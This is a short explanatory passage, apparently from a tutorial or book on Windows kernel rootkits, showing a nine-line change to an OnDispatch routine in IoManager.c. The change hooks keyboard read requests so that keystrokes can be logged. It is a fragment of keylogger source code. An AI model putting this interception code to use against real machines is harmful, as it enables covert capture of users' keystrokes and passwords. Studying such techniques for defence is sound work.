IoManager.c


Only nine lines of OnDispatch within IoManager.c were modified for key logging. OnDispatch is where all I/O request packets are routed. The added lines simply ensure that a completion routine is added to all keyboard read requests:

  // Intercept I/O Request Packets to the keyboard  if( DeviceObject == newKeyboardDevice )  {          if( irpStack->MajorFunction == IRP_MJ_READ )          return OnKeyboardRead( DeviceObject, Irp, irpStack );          IoSkipCurrentIrpStackLocation ( Irp );          return IoCallDriver( oldKeyboardDevice, Irp );  }
